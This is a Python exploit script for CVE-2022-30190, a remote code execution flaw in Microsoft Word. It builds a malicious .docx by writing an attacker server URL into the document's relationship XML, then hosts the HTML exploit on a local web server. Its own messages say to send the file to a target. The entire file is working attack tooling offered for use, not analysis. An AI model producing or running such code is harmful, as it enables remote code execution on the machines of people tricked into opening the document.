exploit.py

#!/usr/bin/env python3

import sys
import os
import subprocess

HOST_DIR = 'srv/'
		
def usage():
	print('[%] Usage: ' + str(sys.argv[0]) + ' <generate/host> <options>')
	print('[i] Example: ' + str(sys.argv[0]) + ' generate http://192.168.1.41')
	print('[i] Example: sudo ' + str(sys.argv[0]) + ' host 80')
	exit()

def check_usage():
	ret = 0
	if(len(sys.argv) < 2):
		usage()
	if(sys.argv[1] == 'generate'):
		if(len(sys.argv) != 3):
			usage()
		ret = 1
	elif(sys.argv[1] == 'host'):
		if(len(sys.argv) != 3):
			usage()
		ret = 2
	else:
		usage()
	return ret

def execute_cmd(cmd):
	r = subprocess.getoutput(cmd)
	return r

def generate_payload():
	srv_url = sys.argv[2]
	
	print('\n[ == Options == ]')
	print('\t[ HTML Exploit URL: ' + str(srv_url))
	print('')
	
	execute_cmd('cp -r data/word_dat/ data/tmp_doc/')
	
	print('[*] Writing HTML Server URL...')
	
	rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r')
	xml_content = rels_pr.read()
	rels_pr.close()
	
	xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', srv_url + '/word.html')
	
	rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w')
	rels_pw.write(xml_content)
	rels_pw.close()
	
	print('[*] Generating malicious docx file...')
	
	os.chdir('data/tmp_doc/')
	os.system('zip -r document.docx *')
	execute_cmd('cp document.docx ../../out/document.docx')
	os.chdir('../')
	execute_cmd('rm -R tmp_doc/')
	os.chdir('../')
	
	print('[*] Updating information on HTML exploit...')
	
	os.chdir('srv/')
	execute_cmd('cp backup.html word.html')
	
	print('[+] Malicious Word Document payload generated at: out/document.docx')
	print('[i] You can execute now the server and then send document.docx to target')
	
	return

def start_server():	
	os.chdir(HOST_DIR)
	try:
		port = int(sys.argv[2])
	except:
		print('[-] Invalid port specified!')
		exit()
	os.system('python3 -m http.server ' + str(port))
	return

if __name__ == '__main__':
	print('[%] CVE-2022-30190 - MS Office Word RCE Exploit [%]')
	
	r = check_usage()
	
	if(r == 1):
		print('[*] Option is generate a malicious payload...')
		generate_payload()
	elif(r == 2):
		print('[*] Option is host HTML Exploit...')
		start_server()
	else:
		print('[-] Unknown error')
		exit()